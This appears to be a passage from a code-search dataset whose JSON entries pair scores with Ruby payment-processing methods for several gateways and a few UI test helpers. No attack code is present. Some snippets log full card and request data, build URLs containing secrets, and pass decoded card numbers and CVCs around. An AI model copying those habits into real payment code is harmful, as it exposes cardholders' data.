end\n elsif response.errors.present?\n err_msg = ' Please verify credit card details are correct.'\n else\n err_msg = ' Make sure payment details were enterered correctly.'\n end\n source.send(:gateway_error, err_msg)\n end\n rescue ActiveMerchant::ConnectionError => e\n source.send(:gateway_error, e)\n end\n end", "title": "" }, { "docid": "0e687b642daa7187d1cd90ce7a092cec", "score": "0.65644974", "text": "def pay_with_card\n if params[:type] == 'program'\n @item_purchased = Program.find params[:id]\n @program_budge = ProgramBudge.find(params[:optional_id]) if params[:optional_id].present?\n @optional_id = @program_budge.present? ? @program_budge.id : nil\n @cancel_url = {:controller => :store, :action => :program, :id => @item_purchased.token}\n elsif params[:type] == 'program_coach'\n @item_purchased = ProgramCoach.find params[:id] \n @cancel_url = {:controller => :play, :action => :onboarding, :id => @item_purchased.program.id, :anchor => 'coaches'}\n elsif params[:type] == 'nag_mode'\n @item_purchased = NagMode.find params[:id] \n @program = Program.find(params[:optional_id]) if params[:optional_id].present?\n @optional_id = @program.present? ? @program.id : nil\n @cancel_url = {:controller => :profile, :action => :user_info, :id => :nag_mode}\n end\n @customer = Braintree::Customer.find(current_user.id.to_s) rescue nil\n\n # Default to their newest credit card if they have one.\n if @customer and @customer.credit_cards.present? and params[:credit_card].present?\n @credit_card = @customer.credit_cards.select{|c|c.token == params[:credit_card][:token]}.first\n end\n \n if @credit_card.present? \n if @item_purchased.present? \n unless params[:type] == 'program_coach'\n @authorize = Braintree::CreditCard.sale(@credit_card.token, \n :amount => @item_purchased.price,\n :merchant_account_id => 'budge')\n end\n\n settle_purchase\n end\n else\n flash[:kissmetrics_record] ||= Array.new\n flash[:kissmetrics_record] << {:name => \"Payment failed\"} \n redirect_to :action => :pay, :id => @item_purchased.id, :type => params[:type], :error => \"Unable to pay with that card. Try entering a new one.\" \n end\n end", "title": "" }, { "docid": "798f46623c649f0ff764f7d1e053a7ee", "score": "0.6553658", "text": "def process_payment(options)\n check_token\n uri = \"/api/process-payment\"\n request = self.class.post(uri, base_uri: \"https://money.yandex.ru\", headers: {\n \"Authorization\" => \"Bearer #{@token}\",\n \"Content-Type\" => \"application/x-www-form-urlencoded\"\n }, body: options)\n\n raise \"Insufficient Scope\" if request.response.code == \"403\"\n \n response = OpenStruct.new request.parsed_response\n\n if response.error\n raise response.error.gsub(/_/, \" \").capitalize\n else\n response\n end\n end", "title": "" }, { "docid": "3828e744a8c9ba19e8ea4326278578b0", "score": "0.65137243", "text": "def credit(money, identification, options = {})\n transRequest = @options[:RecordNo].present? ? basic_request(:ReturnByRecordNo) : basic_request(:EMVReturn)\n trs = transRequest[:TStream][:Transaction]\n\n if @options[:RecordNo].present?\n trs[:RecordNo] = @options[:RecordNo]\n trs[:Frequency] = 'Recurring'\n trs[:TranType] = 'Credit'\n trs.delete(:PinPadIpAddress)\n else\n trs[:Account] = @options[:Account] if @options[:Account].present?\n end\n trs[:Amount] = {:Purchase => ('%.2f' % (money / 100.0))}\n trs[:InvoiceNo] = options[:InvoiceNo] || @options[:InvoiceNo]\n trs[:RefNo] = options[:RefNo] || @options[:RefNo] || trs[:InvoiceNo]\n trs[:AuthCode] = @options[:AuthCode]\n trs[:AcqRefData] = options[:AcqRefData] || @options[:AcqRefData]\n trs[:OKAmount] = 'Disallow'\n trs[:ProcessData] = options[:ProcessData] if options[:ProcessData].present?\n trs[:ProcessData] ||= @options[:ProcessData] if @options[:ProcessData].present?\n trs.delete(:Duplicate)\n\n logger.error 'REQUEST: ' + JSON.pretty_generate(transRequest)\n response = RestClient::Request.execute(\n :method => :post, \n :url => url, \n :headers => headers, \n :payload => transRequest.to_json, \n :timeout => 360) {|response, request, result| JSON.parse(response, :symbolize_names => true) }\n \n values = response[:RStream].reject { |k,v| k.to_s[0..3] == 'Line' }\n logger.error 'RESPONSE: ' + JSON.pretty_generate(response)\n\n return request_failed_response(values) if request_failed?(values)\n\n values[:authorization] = values[:RecordNo]\n values[:auth_code] = values[:AuthCode]\n\n result = ActiveMerchant::Billing::Response.new(\n true,\n (values[:TextResponse] || values[:CmdStatus] || ''),\n values,\n :authorization => values[:InvoiceNo],\n :auth_code => values[:AuthCode],\n :request => transRequest.to_json,\n :response => response.to_json\n )\n\n result\n end", "title": "" }, { "docid": "8e3c8e6d77b943f44b1a5e23ff8bc8f3", "score": "0.6507595", "text": "def judo_payment(options = {method: \"preauths\"})#(amount, card_number, expiry_date, cvc, options = {method: \"preauths\", amount: 0.0})\n patient = self.patient\n payment_card = self.paymentable\n appointment_id = self.id\n puts \"=================options==#{options.inspect}\"\n card_number = payment_card.send :decode, payment_card.cc_num\n expiry_date = payment_card.expiry\n cvc = payment_card.send :decode, payment_card.cvc\n puts \"consumer_#{patient.phone_number}\"\n headers = {\"API-Version\" => 4.1, \"Content-Type\" => \"application/json\"}\n params = { :yourConsumerReference => \"consumer_#{patient.phone_number}\", \n :yourPaymentReference => \"payment_#{patient.phone_number}\", \n :yourPaymentMetaData => {}, \n :judoId => JUDOPAY[:id], \n :cardNumber => card_number, \n :expiryDate => expiry_date, \n :cv2 => cvc, \n :cardAddress => {\n :line1 => patient.address, \n :town => \"London\", \n :postCode => patient.zone.try(:name) }, \n :consumerLocation => { :latitude => patient.latitude, \n :longitude => patient.longitude },\n :mobileNumber => patient.phone_number, \n :emailAddress => patient.email\n }\n success = false\n params = params.merge(:amount => (options[:amount] || self.appointment_fee))\n puts \"params = #{params.inspect}\"\n puts \"========\"\n puts \"========\"\n\n # Using Faraday\n conn = Faraday.new(:url => \"https://#{JUDOPAY[:token]}:#{JUDOPAY[:secret]}@#{JUDOPAY[:host]}/transactions\") do |faraday|\n faraday.request :url_encoded\n faraday.response :logger\n faraday.adapter Faraday.default_adapter\n end\n response = conn.post do |req|\n req.url \"#{options[:method]}\"\n req.headers['Content-Type'] = 'application/json'\n req.headers['API-Version'] = '4.1'\n req.body = params.to_json\n end\n response = JSON.parse(response.body)\n puts \"response = #{response.inspect}\"\n puts \"result = #{response['result']}\"\n success = (response['result'] == 'Success')\n if appointment_id.nil? && !success\n puts \"CASE 1\"\n success\n elsif appointment_id.present? && !success\n puts \"CASE 2\"\n # JudoTransaction.get_and_create_transaction(\"consumer_#{patient.phone_number}\", appointment_id)\n JudoTransaction.create_tran(response.symbolize_keys, appointment_id)\n \n else\n puts \"CASE 3\"\n # JudoTransaction.get_and_create_transaction(\"consumer_#{patient.phone_number}\", appointment_id)\n JudoTransaction.create_tran(response.symbolize_keys, appointment_id)\n success\n end\n\n puts \"------success = #{success.inspect}-------\"\n success\n end", "title": "" }, { "docid": "3eefd02da46d45953dcca5d5f1b19f42", "score": "0.65030384", "text": "def purchase(money, creditcard, options = {})\n transRequest = basic_request(:EMVSale)\n trs = transRequest[:TStream][:Transaction]\n\n trs[:CollectData] = :CardholderName\n trs[:Amount] = {:Purchase => ('%.2f' % (money / 100.0))}\n trs[:PartialAuth] = 'Disallow'\n trs[:LaneID] = @options[:lane_id]\n trs[:RecordNo] = :RecordNumberRequested\n trs[:Frequency] = 'Recurring'\n trs[:OKAmount] = 'Disallow'\n trs[:InvoiceNo] = @options[:invoice_no]\n trs[:RefNo] = @options[:invoice_no]\n trs[:CardType] = 'Credit'\n trs[:Account] = @options[:Account] if @options[:Account].present?\n\n logger.error 'REQUEST: ' + JSON.pretty_generate(transRequest)\n response = RestClient::Request.execute(\n :method => :post, \n :url => url, \n :headers => headers, \n :payload => transRequest.to_json, \n :timeout => 360) {|response, request, result| JSON.parse(response, :symbolize_names => true) }\n\n #values = response[:RStream].reject { |k,v| (k.to_s =~ /Line/) === 0 }\n values = response[:RStream]\n logger.error 'RESPONSE: ' + JSON.pretty_generate(response)\n return request_failed_response(values) if request_failed?(values)\n \n card_holder_name = {:name_first => '', :name_last => 'Unknown'}\n\n if values[:CardholderName].present?\n card_holder_name[:name_last] = values[:CardholderName]\n pair = values[:CardholderName].split('/').collect{|s| s.strip }.reject{|s| s.empty? }\n \n if pair.size == 2\n card_holder_name = {:name_first => pair[1].split('.').first.strip, :name_last => pair[0].strip}\n elsif pair.size > 1\n pair = pair.first.split(' ')\n card_holder_name = { :name_first => pair.first.strip, :name_last => pair.last.strip }\n elsif pair.size == 1\n card_holder_name = { :name_first => '', :name_last => pair.last.strip }\n end \n end\n values[:authorization] = values[:RecordNo]\n values[:auth_code] = values[:AuthCode]\n\n result = ActiveMerchant::Billing::Response.new(\n true,\n (values[:TextResponse] || values[:CmdStatus] || ''),\n values,\n :authorization => values[:InvoiceNo],\n :auth_code => values[:AuthCode],\n :card_number => values[:AcctNo],\n :card_holder_name => values[:CardholderName],\n :card_type => values[:CardType],\n :card_entry_method => values[:EntryMethod],\n :card_issuer => values[:ApplicationLabel],\n :card_holder_name_first => card_holder_name[:name_first],\n :card_holder_name_last => card_holder_name[:name_last],\n :request => transRequest.to_json,\n :response => response.to_json\n )\n\n emv_param_download if values[:PostProcess] == 'EMVParamDownloadRequired'\n\n result\n end", "title": "" }, { "docid": "ed288912d3b79554e3c067069bf38a35", "score": "0.6460659", "text": "def charge_credit_card( options = {})\n # mode is set (in environment config files) to :test for development and test, :production when production\n #\n # charges pro-rata or upfront \n if options.blank? # no options means charge upfront \n _cost = (product_cost.blank? ? 0 : product_cost.upfront_charge( self))\n _action = \"deposit + shipping\"\n else\n _cost = options[ :pro_rata]\n _action = \"pro-rata\"\n end\n #\n if validate_card\n if product_cost.blank?\n errors.add_to_base \"Product cost cannot be identified in the database\"\n # \n # Wed Dec 1 02:37:38 IST 2010, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/3805\n # * zero one-time-fee is possible with certain coupon codes\n # * therefore, absolutely zero charge at online order\n # * subscription & pro-rata charged later as usual\n # OBSOLETE: the logic now accepts zero value charges\n # elsif product_cost.upfront_charge.zero?\n # errors.add_to_base \"One time fee: #{product_cost.upfront_charge}\"\n else\n # one time charge as presented in the product detail box\n # charge_amount = (cost * 100) # cents\n #\n # reference from active_merchant code\n #\n # * <tt>purchase(money, creditcard, options = {})</tt>\n # * <tt>money</tt> -- The amount to be purchased as an Integer value in cents.\n # * <tt>creditcard</tt> -- The CreditCard details for the transaction.\n # * <tt>options</tt> -- A hash of optional parameters.\n #RAILS_DEFAULT_LOGGER.warn(\"-=-=-=-=-=-Order.charge_credit_card-=-=-=-=-=-=-=-=-=\") \n #RAILS_DEFAULT_LOGGER.warn(\"_cost=#{_cost} options=#{options.to_yaml}\\n\") \n @one_time_fee_response = payment_gateway_server.purchase( _cost*100, credit_card,\n :billing_address => {\n :first_name => bill_first_name,\n :last_name => bill_last_name,\n :address1 => bill_address,\n :phone => bill_phone,\n :city => bill_city,\n :state => bill_state,\n :zip => bill_zip,\n :country => \"US\",\n }\n ) # GATEWAY in environment files\n # store response in database\n payment_gateway_responses.create!(:action => _action, :amount => _cost*100, :response => @one_time_fee_response)\n errors.add_to_base @one_time_fee_response.message unless @one_time_fee_response.success?\n\n # ticket 3215: Credit card will no longer be charged recurring monthly at the point of sale (when order is taken)\n # * shifted to charge_recurring\n # * added purchase_successful?, subscription_successful?, charge_subscription\n #\n # # recurring attempted only when one-time is success\n # if @one_time_fee_response.success?\n # # if product_cost.monthly_recurring.zero?\n # # errors.add_to_base \"Recurring subscription fee: #{product_cost.monthly_recurring}\"\n # # else\n # # # https://redmine.corp.halomonitor.com/issues/2800\n # # # used credit_card.first_name instead of bill_first_name\n # # #\n # # # recurring subscription for 60 months, starting 3.months.from_now\n # # # TODO: do not hard code. pick from database\n # # # => keep charging 5 years at least\n # # #\n # # # reference from active_merchant code\n # # #\n # # # Create a recurring payment.\n # # #\n # # # This transaction creates a new Automated Recurring Billing (ARB) subscription. Your account must have ARB enabled.\n # # #\n # # # ==== Parameters\n # # #\n # # # * <tt>money</tt> -- The amount to be charged to the customer at each interval as an Integer value in cents.\n # # # * <tt>creditcard</tt> -- The CreditCard details for the transaction.\n # # # * <tt>options</tt> -- A hash of parameters.\n # # #\n # # # ==== Options\n # # #\n # # # * <tt>:interval</tt> -- A hash containing information about the interval of time between payments. Must\n # # # contain the keys <tt>:length</tt> and <tt>:unit</tt>. <tt>:unit</tt> can be either <tt>:months</tt> or <tt>:days</tt>.\n # # # If <tt>:unit</tt> is <tt>:months</tt> then <tt>:length</tt> must be an integer between 1 and 12 inclusive.\n # # # If <tt>:unit</tt> is <tt>:days</tt> then <tt>:length</tt> must be an integer between 7 and 365 inclusive.\n # # # For example, to charge the customer once every three months the hash would be\n # # # +:interval => { :unit => :months, :length => 3 }+ (REQUIRED)\n # # # * <tt>:duration</tt> -- A hash containing keys for the <tt>:start_date</tt> the subscription begins (also the date the\n # # # initial billing occurs) and the total number of billing <tt>:occurrences</tt> or payments for the subscription. (REQUIRED)\n # # #\n # # # requires!(options, :interval, :duration, :billing_address)\n # # # requires!(options[:interval], :length, [:unit, :days, :months])\n # # # requires!(options[:duration], :start_date, :occurrences)\n # # # requires!(options[:billing_address], :first_name, :last_name)\n # # # \n # # # https://redmine.corp.halomonitor.com/issues/3068\n # # # recurring start_date was immediate. \".months\" was missed in last release\n # # \n # # @recurring_fee_response = ::PAYMENT_GATEWAY.recurring(product_cost.monthly_recurring*100, credit_card, {\n # # :interval => {:unit => :months, :length => 1},\n # # :duration => {:start_date => product_cost.recurring_delay.months.from_now.to_date, :occurrences => 60},\n # # :billing_address => {\n # # :first_name => bill_first_name,\n # # :last_name => bill_last_name,\n # # :address1 => bill_address,\n # # :phone => bill_phone,\n # # :city => bill_city,\n # # :state => bill_state,\n # # :zip => bill_zip,\n # # :country => \"US\",\n # # }\n # # }\n # # )\n # # store response in database\n # # payment_gateway_responses.create!(:action => \"recurring\", :amount => product_cost.monthly_recurring*100, :response => @recurring_fee_response)\n # # errors.add_to_base @recurring_fee_response.message unless @recurring_fee_response.success?\n # # end # recurring\n # end\n \n end # one time charge\n else\n # invalid card\n payment_gateway_responses.create!(:action => \"validate_card\", :amount => _cost*100, \\\n :response => {:success => false, \\\n :authorization => \"Authorization not attempted\", \\\n :message => \"Invalid card #{credit_card.display_number}\", \\\n :params => credit_card.errors.full_messages.join(\". \")})\n end # validate_card\n \n # \n # Fri Nov 5 06:55:50 IST 2010, ramonrails\n # do not create a userintake if already present\n create_user_intake if card_successful? && user_intake.blank? # card successful? then create user intake data\n \n # return @one_time_fee_response, @recurring_fee_response # more DRY. contained in Order\n card_successful? # return success/failure status as true/false\n end", "title": "" }, { "docid": "3dcad0640b948d0403d090fce2141b55", "score": "0.6436959", "text": "def processPayment\n ActiveMerchant::Billing::Base.mode = :test\n\n # ActiveMerchant accepts all amounts as Integer values in cents\n # $10.00\n amount = 1000\n\n # The card verification value is also known as CVV2, CVC2, or CID\n credit_card = ActiveMerchant::Billing::CreditCard.new(\n :first_name => 'Bob',\n :last_name => 'Bobsen',\n :number => '4242424242424242',\n :month => '8',\n :year => '2012',\n :verification_value => '123'\n )\n\n # Validating the card automatically detects the card type\n if credit_card.valid?\n\n # Create a gateway object for the TrustCommerce service\n gateway = ActiveMerchant::Billing::TrustCommerceGateway.new(\n :login => 'TestMerchant',\n :password => 'password'\n )\n\n # Authorize for the amount\n response = gateway.purchase(amount, credit_card)\n\n if response.success?\n puts \"Successfully charged $#{sprintf(\"%.2f\", amount / 100)} to the credit card #{credit_card.display_number}\"\n puts \"Status\" \n \"{status}\"\n else\n raise StandardError, response.message\n #please verify your payment information or \n end\n else\n #please verify your payment information \n end\nend", "title": "" }, { "docid": "04e17f32d8c1efdcfccde02e7a2c8b55", "score": "0.6432941", "text": "def create_profile(payment)\n creditcard = payment.source\n if creditcard.gateway_customer_profile_id.nil?\n options = options_for_create_customer_profile(creditcard, {})\n\n result = provider.store(creditcard, options)\n#binding.pry\n\n ## this is where i need to pick back up and figure out why i'm getting 'general failure' as well as what result params below will correspond to the correct ids\n if result.success?\n # using 'subscriptionID' for both values since we only get one back from cybersource\n creditcard.gateway_customer_profile_id = result.params['subscriptionID']\n creditcard.gateway_payment_profile_id = result.params['subscriptionID']\n creditcard.save!\n else\n creditcard.gateway_error(result) if creditcard.respond_to? :gateway_error\n end\n end\n end", "title": "" }, { "docid": "ffb249ae823a1e3d0596ebe0d43a5569", "score": "0.64314204", "text": "def payment\n \n end", "title": "" }, { "docid": "3bab50347417ec55174d5071b693aceb", "score": "0.64132035", "text": "def capture(money, response_code, options = {})\n response = provider.capture_payment(response_code, transaction_amount(options[:currency], money))\n\n handle_response(response, response_code)\n end", "title": "" }, { "docid": "9d79dbb615b387e58bdd26106ca81337", "score": "0.64096886", "text": "def payment_profile\n end", "title": "" }, { "docid": "167f3fca08ad2f1af5a218a61297d7f0", "score": "0.64055586", "text": "def oss_add_payment(options={})\n click \"deposit\" if options[:deposit]\n if is_element_present(\"checkSenior\")\n type \"seniorIdNumber\", \"12340787\" if is_checked(\"checkSenior\")\n end\n click \"hospitalPayment\" if is_element_present(\"hospitalPayment\")\n click \"paymentToggle\" if is_element_present(\"paymentToggle\")\n sleep 5\n if options[:type] == \"CASH\" # only in Social Service when paying Patient Share\n sleep 3\n click \"cashPaymentMode1\"\n sleep 3\n type \"cashBillAmount\", options[:amount]\n click \"cashAmountInPhp\"\n sleep 3\n click \"cashAmountInPhp\"\n sleep 5\n if options[:payment_amount]\n type \"cashAmountInPhp\", options[:amount]\n end\n get_value('//*[@id=\"cashChangeInPhp\"]') == \"0.00\"\n elsif options[:type] == \"CHECK\"\n click \"checkPaymentMode1\"\n sleep 3\n type(\"cBankName\", options[:bank_name])\n type(\"cCheckNo\", options[:check_no])\n select(\"cCurrency\", \"label=#{options[:currency]}\") if options[:currency]\n type(\"cCheckDate\", options[:date])\n type(\"cCheckAmount\", options[:amount])\n select(\"cCheckType\", \"label=#{options[:check_type]}\") if options[:check_type]\n click(\"addCheckPayment\")\n sleep 3\n elsif options[:type] == \"BANK\"\n click \"opsPaymentBean.bankRemittanceMode1\"\n type \"brBank\", options[:bank_name] || \"Bank\"\n type \"brBranchDeposited\", options[:bank_branch] || \"Branch\"\n type \"brRemittanceAmount\", options[:amount]\n type \"brTransactionNumber\", options[:trans_no] || \"Transaction_number\"\n #type \"brTransactionDate\", options[:date]\n click \"addBankRemittancePayment\"\n elsif options[:type] == \"CREDIT CARD\"\n click \"creditCardPaymentMode1\"\n sleep 3\n select \"ccCompany\", \"label=CITIBANK - PAYLITE\"\n type \"ccNo\", options[:credit_no] || \"4111111111111111\"\n select \"ccType\", \"label=VISA\"\n click \"ccHolder\"\n type \"ccHolder\", options[:cc_holder] || \"TEST\"\n type \"ccExpiryDate\", Time.now.strftime(\"%m/%d/%Y\")\n type \"ccApprovalNo\", options[:cc_approv] ||\"1234\"\n type \"ccSlipNo\", options[:cc_slip] || \"143\"\n type \"ccAccountNo\", options[:cc_acctno] || \"124\"\n type \"ccAmount\", options[:amount]\n click \"addCreditCardPayment\"\n elsif options[:type] == \"GIFT CHECK\"\n click(\"id=giftCheckPaymentMode1\");\n type \"id=gcNo\", options[:gc_no] || Time.now.strftime(\"%m/%d/%Y\")\n gc_donomination = options[:gc_denomination] || \"SERVICE\"\n select \"id=gcDenomination\", \"label=#{gc_donomination}\"\n type\"id=gcAmount\", options[:amount] || \"123\"\n click(\"id=addGiftCheckPayment\");\n sleep 5\n end\n end", "title": "" }, { "docid": "21a86fb20681cfc8593ce94c12f27885", "score": "0.63854885", "text": "def add_credit_card(options)\n hash = {:customer_profile_id => options.fetch(:customer_profile_id),\n :payment_profile => {:payment => {:credit_card => options.fetch(:credit_card)},\n :bill_to => options[:address] }}\n response = gateway.create_customer_payment_profile(hash)\n payment_profile_id = response.success? ? response.params['customer_payment_profile_id'] : nil\n [payment_profile_id, response]\n end", "title": "" }, { "docid": "21a86fb20681cfc8593ce94c12f27885", "score": "0.63854885", "text": "def add_credit_card(options)\n hash = {:customer_profile_id => options.fetch(:customer_profile_id),\n :payment_profile => {:payment => {:credit_card => options.fetch(:credit_card)},\n :bill_to => options[:address] }}\n response = gateway.create_customer_payment_profile(hash)\n payment_profile_id = response.success? ? response.params['customer_payment_profile_id'] : nil\n [payment_profile_id, response]\n end", "title": "" }, { "docid": "54508823b562ff4d2bc17bf6b4a4bcf6", "score": "0.63816404", "text": "def capture(money, response_code, gateway_options = {})\n Spree::PAYONE::Logger.info \"Capture process started\"\n \n request = Spree::PAYONE::Proxy::Request.new\n request.capture_request\n \n # For credit card with profile support\n # capture(payment, source, gateway_options)\n if money.kind_of? ::Spree::Payment\n payment = money\n money = (payment.amount * 100).round.to_i\n response_code = payment.response_code\n end\n \n set_initial_request_parameters(request)\n set_status_url_request_parameters(request, gateway_options)\n set_amount_request_parameters(request, money, gateway_options)\n set_payment_process_parameters(request, response_code)\n \n response = process_request request, gateway_options\n payment_provider_response response\n end", "title": "" }, { "docid": "30e1eeb4f34bce275db53180adf12439", "score": "0.638105", "text": "def do_payment(card_number, exp_date, cvv, amount, client_name, address1, address2, city, state, country, client_id,email)\n do_transaction :card_number => card_number,\n :exp_date => exp_date,\n :cvv => cvv,\n :amount => amount,\n :name => client_name,\n :address1 => address1,\n :address2 => address2,\n :city => city,\n :state => state,\n :country => country,\n :email => email,\n :client_id => client_id,\n :response_path => 'http://sample.net/',\n :type => BanortePayworks::TYPE[:auth]\n end", "title": "" }, { "docid": "db52dadcabeebd5d0114343e53657a89", "score": "0.6379999", "text": "def paying_with_credit_card?\n payment_type == \"credit\"\n end", "title": "" }, { "docid": "741c195c84c9336a289ff9701c2e223f", "score": "0.63653785", "text": "def capture(money, response_code, gateway_options = {})\n Spree::PAYONE::Logger.info \"Capture process started\"\n payment_payment_provider_response_not_supported 'capture'\n end", "title": "" }, { "docid": "109501d18e96cde97b19c5d3f8c9073f", "score": "0.63576025", "text": "def pay_with_credit_card(order)\n\n\t\t# get payment profile for the customer\n\t\tpayment_profile = PaymentProfile.active.by_customer(self.id).first\n\t\tpayment_data = payment_profile.payment_data\n\n\t\tpayment_method = PaymentMethod.find(payment_profile.payment_method_id)\n\n\t auhtorization_options = Hash.new\n\t auhtorization_options = {\n\t :payment_type => 'Card',\n\t :amount => order.total,\n\t # :merchant_id => order.store.merhcant_id\n\t :merchant_id => 6\n\t }\n\n\t # This will start off the initial payment step\n\t\tpayment_guid = payment_method.authorize(auhtorization_options)\n\n\t\ttransaction_options = Hash.new\n\t transaction_options = {\n\t :guid => payment_guid[:payment_guid],\n\t :encrypted_card_info => payment_data[\"secured_card_info\"],\n\t :card_hash => payment_data[\"hash_value\"]\n\t }\n\t \n\t\tpayment_method.purchase(transaction_options)\n\tend", "title": "" }, { "docid": "190cc057ed11e362b9fd06dc5f581ffa", "score": "0.6357579", "text": "def credit_card(options={})\n ActiveMerchant::Billing::CreditCard.new(valid_credit_card_attributes(options))\nend", "title": "" }, { "docid": "ea48f7454bd5843066fb6e360c6303bf", "score": "0.62981707", "text": "def judo_final_payment(options = {method: \"payments\"})\n patient = self.patient\n payment_card = self.paymentable\n appointment_id = self.id\n appointment_fee = self.appointment_fee\n # Get receipt_id of PreAuth apppointment fee\n receipt_id = JudoTransaction.find_by(appointment_id: appointment_id, payment_type: JudoTransaction.payment_types[\"PreAuth\"], amount: appointment_fee).try(:receipt_id)\n remain_fee = options[:amount] - appointment_fee\n\n puts \"=================options==#{options.inspect}\"\n card_number = payment_card.send :decode, payment_card.cc_num\n expiry_date = payment_card.expiry\n cvc = payment_card.send :decode, payment_card.cvc\n puts \"consumer_#{patient.phone_number}\"\n\n headers = {\"API-Version\" => 4.1, \"Content-Type\" => \"application/json\"}\n params = { :yourConsumerReference => \"consumer_#{patient.phone_number}\", \n :yourPaymentReference => \"payment_#{patient.phone_number}\", \n :yourPaymentMetaData => {}, \n :judoId => JUDOPAY[:id], \n :cardNumber => card_number, \n :expiryDate => expiry_date, \n :cv2 => cvc, \n :cardAddress => {\n :line1 => patient.address, \n :town => \"London\", \n :postCode => patient.zone.try(:name) }, \n :consumerLocation => { :latitude => patient.latitude, \n :longitude => patient.longitude },\n :mobileNumber => patient.phone_number, \n :emailAddress => patient.email\n }\n success = false\n params = params.merge(:amount => remain_fee)\n puts \"params = #{params.inspect}\"\n puts \"========\"\n puts \"========\"\n\n # Using Faraday\n conn = Faraday.new(:url => \"https://#{JUDOPAY[:token]}:#{JUDOPAY[:secret]}@#{JUDOPAY[:host]}/transactions\") do |faraday|\n faraday.request :url_encoded\n faraday.response :logger\n faraday.adapter Faraday.default_adapter\n end\n\n # Collect appointment fee preauth\n params_collect = {receiptId: receipt_id, amount: appointment_fee, yourPaymentReference: \"payment_#{patient.phone_number}\"}\n response_collect = conn.post do |req|\n req.url \"collections\"\n req.headers['Content-Type'] = 'application/json'\n req.headers['API-Version'] = '4.1'\n req.body = params_collect.to_json\n end\n response_collect = JSON.parse(response_collect.body)\n JudoTransaction.create_tran(response_collect.symbolize_keys, appointment_id)\n success_collect = (response_collect['result'] == 'Success')\n puts \"response_collect = #{response_collect.inspect}\"\n puts \"result_collect = #{response_collect['result']}\"\n\n # Charge remaining fee(total_invoice - apppointment_fee)\n if remain_fee > 0\n response = conn.post do |req|\n req.url \"#{options[:method]}\"\n req.headers['Content-Type'] = 'application/json'\n req.headers['API-Version'] = '4.1'\n req.body = params.to_json\n end\n response = JSON.parse(response.body)\n puts \"response = #{response.inspect}\"\n puts \"result = #{response['result']}\"\n success = (response['result'] == 'Success')\n JudoTransaction.create_tran(response.symbolize_keys, appointment_id)\n puts \"------success = #{success.inspect}-------\"\n else\n puts \"=================\"\n puts \"remaining_fee <= 0\"\n puts \"=================\"\n success = true\n end\n success\n end", "title": "" }, { "docid": "a91c55fcf0a0315dfeb5a0d6913f0f56", "score": "0.6285873", "text": "def process!(credit_cents)\n response = if payment.payment_method.payment_profiles_supported?\n payment.payment_method.credit(credit_cents, payment.source, payment.transaction_id, originator: self)\n else\n payment.payment_method.credit(credit_cents, payment.transaction_id, originator: self)\n end\n\n unless response.success?\n Rails.logger.error(Spree.t(:gateway_error) + \" #{response.to_yaml}\")\n text = response.params['message'] || response.params['response_reason_text'] || response.message\n raise Core::GatewayError, text\n end\n\n response\n rescue ActiveMerchant::ConnectionError => e\n Rails.logger.error(Spree.t(:gateway_error) + \" #{e.inspect}\")\n raise Core::GatewayError, Spree.t(:unable_to_connect_to_gateway)\n end", "title": "" }, { "docid": "8d673c45edda5bcf0d97ed0cb695260e", "score": "0.62621665", "text": "def capture(money, response_code, payment_method_options = {})\n Spree::PAYONE::Logger.info \"Capture process started\"\n \n request = Spree::PAYONE::Proxy::Request.new\n request.capture_request\n \n set_initial_request_parameters(request)\n set_status_url_request_parameters(request, payment_method_options)\n set_amount_request_parameters(request, money, payment_method_options)\n set_payment_process_parameters(request, response_code)\n \n response = process_request request, payment_method_options\n payment_provider_response response\n end", "title": "" }, { "docid": "0567b0c4356e3327b8bdeaefcd42abef", "score": "0.62349313", "text": "def credit(money, response_code, gateway_options = {})\n Spree::PAYONE::Logger.info \"Credit process started\"\n \n request = Spree::PAYONE::Proxy::Request.new\n request.debit_request\n set_initial_request_parameters(request)\n set_amount_request_parameters(request, '-' + money.to_s, gateway_options)\n set_payment_process_parameters(request, response_code)\n set_sequence_request_parameters(request, response_code)\n \n response = process_request request, payment_method_options\n payment_provider_response response\n end", "title": "" }, { "docid": "2fc2fa0bfdb69dfceb183e9d8f94aea5", "score": "0.6226073", "text": "def setup_payment\n receiver = { email: 'tr-personal@gmail.com' }\n api.execute :Pay, payment_options(receiver)\nend", "title": "" }, { "docid": "f0e2616a115c09b17b92912374191108", "score": "0.6223184", "text": "def method_type\n 'payone_creditcard'\n end", "title": "" }, { "docid": "c23162fc75796ead3b7f27e0d835db4b", "score": "0.62223023", "text": "def object_params\n # For payment step, filter order parameters to produce the expected nested attributes for a single payment and its source, discarding attributes for payment methods other than the one selected\n if @order.payment?\n if params[:payment_source].present? && source_params = params.delete(:payment_source)[params[:order][:payments_attributes].first[:payment_method_id].underscore]\n if params[:existing_card]\n creditcard = Spree::Creditcard.find(params[:existing_card])\n # at this point the user may have selected a credit card that is tokenized on another retailer's account\n # he should have entered the card number and cvv again and we need to tokenize this as a new card duped from the one he selected.\n if creditcard.retailer_id != current_order.retailer.id\n # clone the selected card and tokenize it, than make it the current card.\n begin\n new_card = creditcard.dup\n new_card.number = params[:card_number_confirm]\n new_card.verification_value = params[:card_cvv_confirm]\n new_card.gateway_customer_profile_id = nil\n new_card.gateway_payment_profile_id = nil\n new_card.save!\n Spree::Creditcard.tokenize_card_for_retailer(new_card, current_order.retailer, current_order.user, params[:card_number_confirm])\n new_card.reload\n creditcard = new_card\n # Run tokenization for the other retailers in the background\n Spree::Creditcard.delay.tokenize_card_on_other_retailers(current_order.retailer, new_card, current_order.user, params[:card_number_confirm])\n rescue ActiveMerchant::ConnectionError => e\n creditcard.send(:gateway_error, e)\n end\n end\n # end processing new cards from new retailers\n authorize! :manage, creditcard\n params[:order][:payments_attributes].first[:source] = creditcard\n params[:order][:bill_address_id] = creditcard.address_id\n else\n params[:order][:payments_attributes].first[:source_attributes] = source_params\n end\n end\n if (params[:order][:payments_attributes])\n params[:order][:payments_attributes].first[:amount] = @order.total\n end\n end\n params[:order]\n end", "title": "" }, { "docid": "387150f8788afaeeedd70307e114c1ac", "score": "0.62209505", "text": "def add_payment_informations(xml, money, options)\n # This is the integer amount, defined in the smallest currency unit,\n # for which the transaction is requested (e.g., $10.00 = 1000).\n # The <Amount> element is mandatory for ‘Single’ and ‘Initial’ transaction\n # types and if the amount of a ‘Repeated’ (recurring) transaction\n # differs from the amount of the related ‘Initial’ transaction.\n # For all other recurring transactions, this element is optional.\n xml.tag! 'Amount', amount(money)\n\n # This is the ISO 4217 currency code used for the transaction.\n # It is mandatory if the type of transaction is ‘Single’ or ‘Initial’\n # or if the currency of a ‘Repeated’ transaction differs from the currency\n # of the related ‘Initial’ 